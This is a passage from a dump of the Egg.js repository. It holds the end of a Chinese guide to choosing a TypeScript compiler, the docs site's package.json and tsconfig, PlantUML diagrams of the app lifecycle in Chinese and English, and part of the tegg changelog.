dev\n```\n\n或者在 `package.json` 中配置 `tscompiler` 为 `ts-node` 提供的仅编译的注册器。\n\n```json\n// package.json\n{\n  \"name\": \"demo\",\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true,\n    \"tscompiler\": \"ts-node/register/transpile-only\"\n  }\n}\n```\n\n#### 更换高性能 compiler\n\n除了 `ts-node` 之外，业界也有不少支持编译 ts 的项目，比如 `esbuild`。可以先安装 [esbuild-register](https://github.com/egoist/esbuild-register)\n\n```bash\n$ npm install esbuild-register --save-dev\n```\n\n再在 `package.json` 中配置 `tscompiler`\n\n```json\n// package.json\n{\n  \"name\": \"demo\",\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true,\n    \"tscompiler\": \"esbuild-register\"\n  }\n}\n```\n\n即可使用 `esbuild-register` 来编译（注意，`esbuild-register` 不具备 typecheck 功能）。\n\n> 如果想用 `swc` 也一样，安装 [@swc-node/register](https://github.com/Brooooooklyn/swc-node#swc-noderegister)，然后配置到 `tscompiler` 即可。\n\n#### 使用 `tsc`\n\n如果还是觉得这种在运行时动态编译的速度实在无法忍受，也可以直接使用 `tsc`。即不需要在 `package.json` 中配置 `typescript` 为 `true`，在开发期间单独起个终端执行 `tsc`。\n\n```bash\n$ tsc -w\n```\n\n然后再正常启动 `egg` 应用即可。\n\n```bash\n$ egg-bin dev\n```\n\n建议在 `.gitignore` 中加上对 `**/*.js` 的配置，避免将生成的 js 代码也提交到了远端。\n"
  },
  {
    "path": "site/package.json",
    "content": "{\n  \"name\": \"site\",\n  \"private\": true,\n  \"description\": \"Egg.js documentation site\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vitepress dev\",\n    \"build\": \"vitepress build\",\n    \"preview\": \"vitepress preview\"\n  },\n  \"dependencies\": {\n    \"vitepress\": \"catalog:\",\n    \"vitepress-plugin-llms\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"oxc-minify\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "site/public/assets/lifecycle_cn.puml",
    "content": "@startuml\nstart\n: start master;\npartition agent {\n  : fork agent worker;\n  : load plugin.js, config.js, extends;\n  : load agent.js;\n  note right\n    类模式\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    方法模式\n    beforeStart(deprecate)\n  end note\n  fork\n  : configWillLoad;\n  note left\n   准备调用 configDidLoad\n   这是动态修改配置的最后时机。\n  end note\n  : configDidLoad;\n  note left\n    相关配置项已经全部加载，\n    与 agent.js 里的同步逻辑相同，执行顺序也相同\n    可以执行一些同步逻辑。\n  end note\n  : async didLoad;\n  note left\n    文件, 配置已经加载完毕,\n    可以执行一些异步任务,\n    比如异步拉取配置来加载client,\n    或者检查client状态是否正常\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      beforeStart注册的任务\n      在此时同时并行执行\n    end note\n  endfork\n  : async willReady;\n  note left\n    插件已经完全加载完毕,\n    所有的插件可以正常的使用,\n    执行一些流量进入前的任务,\n    比如拉取应用所需的一些配置\n  end note\n  : async didReady;\n  note right\n    agent进程已经准备完毕,\n    可以正常工作\n    ====\n    时间点与原来的ready相同,\n    原来的ready不支持AsyncFunction\n  end note\n  : emit 'agent-start';\n}\npartition app {\n  : start app workers;\n  : load plugin.js, config.js, extends;\n  : load app.js;\n  note right\n    类模式\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    方法模式\n    beforeStart(deprecate)\n  end note\n  fork\n    : configWillLoad;\n    note left\n      准备调用 configDidLoad\n      这是动态修改配置的最后时机。\n    end note\n    : configDidLoad;\n    note left\n      相关配置项已经全部加载，\n      与 app.js 里的同步逻辑相同，执行顺序也相同\n      可以修改一些配置，修改中间件的顺序\n    end note\n    : load app/service;\n    : load app/middleware;\n    : load app/controller;\n    : load app/router.js;\n    : async DidLoad;\n  note left\n    文件, 配置已经加载完毕,\n    可以执行一些异步任务,\n    比如异步拉取配置来加载client,\n    或者检查client状态是否正常\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      beforeStart注册的任务\n      在此时同时并行执行\n    end note\n  end fork\n    : async WillReady;\n  note left\n    插件已经完全加载完毕,\n    所有的插件可以正常的使用,\n    执行一些流量进入前的任务,\n    比如拉取应用所需的一些配置\n  end note\n  : async DidReady;\n  note right\n    app进程已经准备完毕,\n    HTTP server开始监听端口,\n    ====\n    时间点与原来的ready相同,\n    原来的ready不支持AsyncFunction\n  end note\n  : emit 'app-start';\n}\n: emit 'egg-ready';\n: async serverDidReady;\nnote right\n  agent进程和所有的app进程已经准备完毕,\n  可以放入流量,\nend note\n: master receive SIGTERM;\nfork\n: agent beforeClose;\nfork again\n: app beforeClose;\nnote right\n  以插入顺序逆序同步执行,\n  生产环境中不建议使用,\n  可能在进程结束前没有执行完成\nend note\nendfork\nstop\n@enduml\n"
  },
  {
    "path": "site/public/assets/lifecycle_en.puml",
    "content": "@startuml\nstart\n: start master;\npartition agent {\n  : fork agent worker;\n  : load plugin.js, config.js, extends;\n  : load agent.js;\n  note right\n    class mode\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    method mode\n    beforeStart(deprecate)\n  end note\n  fork\n  : configWillLoad;\n  note left\n    Ready to call configDidLoad,\n    This is the LAST chance to modify the relative configs\n  end note\n  : configDidLoad;\n  note left\n    All the files are loaded,\n    To execute some sync logic\n  end note\n  : async didLoad;\n  note left\n    Files and configs are loaded\n    The same sync logic and execution sequence as in app.js,\n    To execute some async tasks\n    E.g: Pull configs in async to load client,\n    or check the state of client\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      Tasks mounted on beforeStart\n      Running in parallel at this time\n    end note\n  endfork\n  : async willReady;\n  note left\n    All the plugins are loaded,\n    All the plugins are normal,\n    To execute some tasks before request enters,\n    E.g: Pull some configs for applications\n  end note\n  : async didReady;\n  note right\n    agent is ready,\n    and it can work normally\n    ====\n    The time is the same as 'ready',\n    The original 'ready' doesn't support AsyncFunction\n  end note\n  : emit 'agent-start';\n}\npartition app {\n  : start app workers;\n  : load plugin.js, config.js, extends;\n  : load app.js;\n  note right\n    class mode\n    configWillLoad\n    configDidLoad\n    async didLoad\n    async willReady\n    async didReady\n    async serverDidReady\n    ====\n    method mode\n    beforeStart(deprecate)\n  end note\n  fork\n    : configWillLoad;\n    note left\n    Ready to call configDidLoad,\n    This is the LAST chance to modify the related configs\n    end note\n    : configDidLoad;\n    note left\n      All the related config files have been loaded,\n      The same sync logic and execution sequence as in app.js,\n      Some configs can be modified, the order of middlewares\n    end note\n    : load app/service;\n    : load app/middleware;\n    : load app/controller;\n    : load app/router.js;\n    : async DidLoad;\n  note left\n    Files and configs are loaded\n    To execute some async tasks\n    E.g: Pull configs in async to load client,\n    or check the state of client\n  end note\n  fork again\n    : beforeStart(deprecate);\n    note right\n      Tasks mounted on beforeStart\n      Running in parallel at this time\n    end note\n  end fork\n    : async WillReady;\n  note left\n    All the plugins are loaded,\n    All the plugins are normal,\n    To execute some tasks before request enters,\n    E.g: Pull some configs for applications\n  end note\n  : async DidReady;\n  note right\n    app is ready\n    HTTP server starts listening at the port\n    ====\n    The time is the same as 'ready',\n    The original 'ready' doesn't support AsyncFunction\n  end note\n  : emit 'app-start';\n}\n: emit 'egg-ready';\n: async serverDidReady;\nnote right\n  agent and all the apps are ready\n  requests are allowed\nend note\n: master receive SIGTERM;\nfork\n: agent beforeClose;\nfork again\n: app beforeClose;\nnote right\n  To execute in a reversed order against the inserting\n  DO NOT recommend in PROD env,\n  May not finish before the process ends\nend note\nendfork\nstop\n@enduml\n"
  },
  {
    "path": "site/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"importHelpers\": true,\n    \"jsx\": \"react\",\n    \"esModuleInterop\": true,\n    \"sourceMap\": true,\n    \"strict\": true,\n    \"paths\": {\n      \"@/*\": [\"src/*\"],\n      \"@@/*\": [\"src/.umi/*\"]\n    },\n    \"allowSyntheticDefaultImports\": true\n  },\n  \"exclude\": [\"node_modules\", \"lib\", \"es\", \"dist\", \"typings\", \"**/__test__\", \"test\", \"docs\", \"tests\"]\n}\n"
  },
  {
    "path": "tegg/CHANGELOG.md",
    "content": "# Change Log\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/tegg/releases> in combination with [release.yml](https://github.com/eggjs/tegg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.1.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Bug Fixes\n\n* add qualifier check ([#296](https://github.com/eggjs/tegg/issues/296)) ([5ea21ff](https://github.com/eggjs/tegg/commit/5ea21ffec61e0c4a743e84d9c8e96d8d9079b4cc))\n\n\n### Features\n\n* add get/set for AdviceContext ([#297](https://github.com/eggjs/tegg/issues/297)) ([c299495](https://github.com/eggjs/tegg/commit/c299495b9407ec07b0a6e257d755d3d6f937d320))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n\n### Bug Fixes\n\n* convert fileURL to normal path ([#294](https://github.com/eggjs/tegg/issues/294)) ([34c1b64](https://github.com/eggjs/tegg/commit/34c1b645d368a712ae255c06bd1bc2d09780e095))\n* export Orm class ([#293](https://github.com/eggjs/tegg/issues/293)) ([cc902e0](https://github.com/eggjs/tegg/commit/cc902e0e0a833fd7a3301b72862df0d75b2042cb))\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n* esm only ([2370354](https://github.com/eggjs/tegg/commit/2370354b4e3f57b416e55f92396cabf9bc74b6a3))\n\n\n### BREAKING CHANGES\n\n* drop Node.js < 20 support, and drop commonjs support\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n\n### Features\n\n* dal retry when init failed ([#260](https://github.com/eggjs/tegg/issues/260)) ([74e7c06](https://github.com/eggjs/tegg/commit/74e7c067c3ff7ae0ed705abaaa8a91f804e487e3))\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n\n### Features\n\n* add mgw stream types ([#259](https://github.com/eggjs/tegg/issues/259)) ([1379d38](https://github.com/eggjs/tegg/commit/1379d382635c6bc575ce4acf3d3a7b5168487a3d))\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n\n### Bug Fixes\n\n* remove inner class hook ([#257](https://github.com/eggjs/tegg/issues/257)) ([faffd34](https://github.com/eggjs/tegg/commit/faffd3492f9edd411213034651d6863fb3f1a24d))\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n\n### Features\n\n* add default inject init type qualifier ([#255](https://github.com/eggjs/tegg/issues/255)) ([538ae80](https://github.com/eggjs/tegg/commit/538ae8033ff102ac0b1d141c6495058a800e46f1))\n* support optional inject ([#254](https://github.com/eggjs/tegg/issues/254)) ([260470b](https://github.com/eggjs/tegg/commit/260470b766d5fdb323c1bd72cc6260a90468a161))\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n\n### Bug Fixes\n\n* disable dump in preload ([#253](https://github.com/eggjs/tegg/issues/253)) ([081912b](https://github.com/eggjs/tegg/commit/081912beb9cb945c863c73d91ef5be112c2940d9))\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n\n### Features\n\n* add dump switcher ([#252](https://github.com/eggjs/tegg/issues/252)) ([80c312f](https://github.com/eggjs/tegg/commit/80c312f7862b4021180f3e587f63c6b0dd87202c))\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n\n### Features\n\n* expand register add loadUnit ([#251](https://github.com/eggjs/tegg/issues/251)) ([8a1649d](https://github.com/eggjs/tegg/commit/8a1649d5ea539d22c7cfd8881595247a07e3fbd7))\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n\n### Bug Fixes\n\n* fix merge qualifier ([#250](https://github.com/eggjs/tegg/issues/250)) ([d5a8a93](https://github.com/eggjs/tegg/commit/d5a8a93abad570f69881f9fa42f39d7b5cd436be))\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n\n### Features\n\n* add rpc stream type ([#249](https://github.com/eggjs/tegg/issues/249)) ([7f3d40b](https://github.com/eggjs/tegg/commit/7f3d40b95d7939534f245b08d9d06a9b10bac350))\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n\n### Bug Fixes\n\n* fix aop in constructor inject type ([#247](https://github.com/eggjs/tegg/issues/247)) ([d169bb2](https://github.com/eggjs/tegg/commit/d169bb2fbbc86335315619866b4134a25296f552))\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* export ProtoDescriptorHelper ([#245](https://github.com/eggjs/tegg/issues/245)) ([f01fb63](https://github.com/eggjs/tegg/commit/f01fb639b153a907fd9c951d4b1e40ba101b43d0))\n* impl GlobalGraph build hook ([#246](https://github.com/eggjs/tegg/issues/246)) ([48fce45](https://github.com/eggjs/tegg/commit/48fce4512e99259ec26a9b032bfcc9f4046ad235))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n\n### Bug Fixes\n\n* Prototype should not be inherited ([#243](https://github.com/eggjs/tegg/issues/243)) ([6e7017a](https://github.com/eggjs/tegg/commit/6e7017a48d395fba6525e0b31c848a257eb171ef))\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n\n### Bug Fixes\n\n* fix miss MultiInstance proper qualifiers ([#241](https://github.com/eggjs/tegg/issues/241)) ([15666d3](https://github.com/eggjs/tegg/commit/15666d36c18b99eccc4f1a11d8e7702503694ee1))\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstance inject MultiInstance ([#240](https://github.com/eggjs/tegg/issues/240)) ([08e3b0c](https://github.com/eggjs/tegg/commit/08e3b0cc02f3d2dbba767298a6aec6c00147f9ed))\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstanceInfo decorator ([#239](https://github.com/eggjs/tegg/issues/239)) ([70d4d95](https://github.com/eggjs/tegg/commit/70d4d95bca4a0c3e11d0d7cc4f292b1315e49e81))\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n\n### Bug Fixes\n\n* fix DataSourceQualifier ([#238](https://github.com/eggjs/tegg/issues/238)) ([7b1ebe7](https://github.com/eggjs/tegg/commit/7b1ebe718736d93e548f531bf99c5d2d38b41046))\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n\n### Bug Fixes\n\n* add preload loadunit ([#236](https://github.com/eggjs/tegg/issues/236)) ([0e28972](https://github.com/eggjs/tegg/commit/0e2897200a9bc3bc6aa1028c8549bdbf45bbaaa3))\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n\n### Features\n\n* add http cookies ([#235](https://github.com/eggjs/tegg/issues/235)) ([f46efa5](https://github.com/eggjs/tegg/commit/f46efa54b03bad41504bf76f6ed2baa8c48858ce))\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n\n### Features\n\n* add LifecyclePreLoad ([#234](https://github.com/eggjs/tegg/issues/234)) ([2b72163](https://github.com/eggjs/tegg/commit/2b7216387f02cd045952447eaa21baa3a7ee04a3))\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n\n### Features\n\n* export controller info util for get aop middleware ([#233](https://github.com/eggjs/tegg/issues/233)) ([1d3cca8](https://github.com/eggjs/tegg/commit/1d3cca8fad859ae54fb10c1700dda261e93055b3))\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n\n### Bug Fixes\n\n* use symbol.for instead of symbol ([#232](https://github.com/eggjs/tegg/issues/232)) ([4254ce5](https://github.com/eggjs/tegg/commit/4254ce558d22234f9dfff0ea9bc067075e21c654))\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n\n### Features\n\n* @Middleware support Advice ([#231](https://github.com/eggjs/tegg/issues/231)) ([613a89d](https://github.com/eggjs/tegg/commit/613a89da7ea6dd70d50e34aa9f4152358a622625))\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n\n### Bug Fixes\n\n* generate index name with column name ([#230](https://github.com/eggjs/tegg/issues/230)) ([82ec72d](https://github.com/eggjs/tegg/commit/82ec72d4fb8628c847b32d0ddf23a95119ca6ccf))\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n\n### Bug Fixes\n\n* fix total type in paginate ([#228](https://github.com/eggjs/tegg/issues/228)) ([e57b91e](https://github.com/eggjs/tegg/commit/e57b91ee64e89487a3cc1663868d9b819e6e60c0))\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n\n### Bug Fixes\n\n* mount clazzExtension/clazzExtension/tableSql to BaseDao ([#220](https://github.com/eggjs/tegg/issues/220)) ([ac322cf](https://github.com/eggjs/tegg/commit/ac322cfc4100841a1483b04b99e04d553af323eb))\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n\n### Bug Fixes\n\n* use loader to load TableClazzList ([#219](https://github.com/eggjs/tegg/issues/219)) ([15ef977](https://github.com/eggjs/tegg/commit/15ef977806dcb15831d6e906b92134257dd03654))\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n\n### Bug Fixes\n\n* not overwrite extension file ([#218](https://github.com/eggjs/tegg/issues/218)) ([f915f08](https://github.com/eggjs/tegg/commit/f915f08dc61b01f10400ad844496f5b227f377eb))\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n\n### Bug Fixes\n\n* not overwrite dao file ([#215](https://github.com/eggjs/tegg/issues/215)) ([0856bf1](https://github.com/eggjs/tegg/commit/0856bf189b160c7209bc24cf7eb911ec2f5875d1))\n\n\n### Features\n\n* use app.loader.getTypeFiles to generate module config file names ([#213](https://github.com/eggjs/tegg/issues/213)) ([e0656a4](https://github.com/eggjs/tegg/commit/e0656a4d59beef103a5627461d9b9c87996928e3))\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n\n### Features\n\n* impl dal transaction ([#214](https://github.com/eggjs/tegg/issues/214)) ([b8b67dd](https://github.com/eggjs/tegg/commit/b8b67dd7e0fb282d78de7e68e68834ff79d30732))\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n\n### Bug Fixes\n\n* tegg-types publish ([#212](https://github.com/eggjs/tegg/issues/212)) ([98a4188](https://github.com/eggjs/tegg/commit/98a4188be2a307722c3df0c82a7af0d0fef685fd))\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n\n### Bug Fixes\n\n* always get extension from Module._extensions ([#211](https://github.com/eggjs/tegg/issues/211)) ([62e9c06](https://github.com/eggjs/tegg/commit/62e9c06f3cbde28d17d0e43797d4080279d7b9fa))\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n\n### Bug Fixes\n\n* fix dal runtime dep ([#210](https://github.com/eggjs/tegg/issues/210)) ([5ad7f45](https://github.com/eggjs/tegg/commit/5ad7f4537114217924ae8dc7445e8fc77eee0b5a))\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n\n### Bug Fixes\n\n* @eggjs/dal-runtime deps ([#209](https://github.com/eggjs/tegg/issues/209)) ([ffc8fdf](https://github.com/eggjs/tegg/commit/ffc8fdf342e7ea73400d6e31f82981155c2b0693))\n\n\n### Features\n\n* add HTTPHeaders decorator ([#208](https://github.com/eggjs/tegg/issues/208)) ([4678c45](https://github.com/eggjs/tegg/commit/4678c450d8b3c632bbdbe2b49b9c02e99f16733c))\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n\n### Bug Fixes\n\n* fix custom sql extension ([#207](https://github.com/eggjs/tegg/issues/207)) ([a405233](https://github.com/eggjs/tegg/commit/a405233d11323cd8a51c6197e855f0c3ff98337d))\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n\n### Bug Fixes\n\n* fix dao extension in prod ([#206](https://github.com/eggjs/tegg/issues/206)) ([0498e9d](https://github.com/eggjs/tegg/commit/0498e9d11bd9e4d186160e8b6af07e627dde6a20))\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n\n### Bug Fixes\n\n* use @eggjs/ajv-keywords and @eggjs/ajv-formats ([#204](https://github.com/eggjs/tegg/issues/204)) ([31b02a0](https://github.com/eggjs/tegg/commit/31b02a08dac8bf27212fdb213a7d93b5b3a685ba))\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl ajv + typebox Validator ([#201](https://github.com/eggjs/tegg/issues/201)) ([9fd585d](https://github.com/eggjs/tegg/commit/9fd585de9b613466c96b73494a08a494db34ea57))\n* impl dal forkDb ([#202](https://github.com/eggjs/tegg/issues/202)) ([a411f04](https://github.com/eggjs/tegg/commit/a411f04e074425419b5b348a362f120bf8189541))\n* impl Date/timestamp on update ([#203](https://github.com/eggjs/tegg/issues/203)) ([e5c7b8d](https://github.com/eggjs/tegg/commit/e5c7b8d529f2854b77de2e99369c781a4ea9e070))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n\n### Bug Fixes\n\n* fix dal templates build ([#199](https://github.com/eggjs/tegg/issues/199)) ([17afe8c](https://github.com/eggjs/tegg/commit/17afe8c98929c7613739e32e897e881619bbdb2a))\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n\n### Features\n\n* dal-runtime templates support pkg alias ([#198](https://github.com/eggjs/tegg/issues/198)) ([cecef78](https://github.com/eggjs/tegg/commit/cecef781bd134b629fc835063a351460aceb340c))\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n\n### Features\n\n* impl dal for standalone tegg ([#197](https://github.com/eggjs/tegg/issues/197)) ([56b259d](https://github.com/eggjs/tegg/commit/56b259d7215a9d9542b36e421996623819369846))\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n\n### Bug Fixes\n\n* add dal templates ([#196](https://github.com/eggjs/tegg/issues/196)) ([49ba4f9](https://github.com/eggjs/tegg/commit/49ba4f9db3d9313654674f813c0358dc0774fd10))\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Bug Fixes\n\n* set column canNull default to false ([#195](https://github.com/eggjs/tegg/issues/195)) ([24628ec](https://github.com/eggjs/tegg/commit/24628ec5a3cd167dc44a50017450d0dedec2c9ce))\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n\n### Bug Fixes\n\n* ignore duplicated module ([#191](https://github.com/eggjs/tegg/issues/191)) ([263467f](https://github.com/eggjs/tegg/commit/263467fc43a25eb5a1670de4778de127662a201b))\n\n\n### Features\n\n* set plugin module optional false if be enabled as a plugin ([#190](https://github.com/eggjs/tegg/issues/190)) ([57a1adc](https://github.com/eggjs/tegg/commit/57a1adcd4f0305cad690be229c59e103e7acf5cd))\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n\n### Features\n\n* add getEggObjects API to fetch all instances ([#189](https://github.com/eggjs/tegg/issues/189)) ([f8592c2](https://github.com/eggjs/tegg/commit/f8592c2cd141d01b4f1730b1e3d66e35c3e1ce05))\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n\n### Bug Fixes\n\n* fix modify ctx.args in aop beforeCall not work ([#187](https://github.com/eggjs/tegg/issues/187)) ([7656424](https://github.com/eggjs/tegg/commit/765642414387c8a9940525cd3c519fcb5fd694a0))\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n\n### Bug Fixes\n\n* config for env is not merged when default config is empty ([#178](https://github.com/eggjs/tegg/issues/178)) ([9c1de22](https://github.com/eggjs/tegg/commit/9c1de223e9c9befb0a803ac5a1bd843f74aa9493))\n\n\n### Features\n\n* scan framework dependencies as optional module ([#184](https://github.com/eggjs/tegg/issues/184)) ([a4908c6](https://github.com/eggjs/tegg/commit/a4908c6c640000c7068def57d32052cca15adf47))\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n\n### Features\n\n* allow a handler to subscribe to multiple events ([#179](https://github.com/eggjs/tegg/issues/179)) ([1d460a5](https://github.com/eggjs/tegg/commit/1d460a5a6bdcf9a3d61b13d3527633c8b990a38c))\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n\n### Bug Fixes\n\n* clear all hooks after app close ([#175](https://github.com/eggjs/tegg/issues/175)) ([6fe12b9](https://github.com/eggjs/tegg/commit/6fe12b9bd2cc1c250d02ac851a6e2e172ab12514))\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n\n### Features\n\n* inject moduleConfig read from tegg-config app.moduleConfigs config 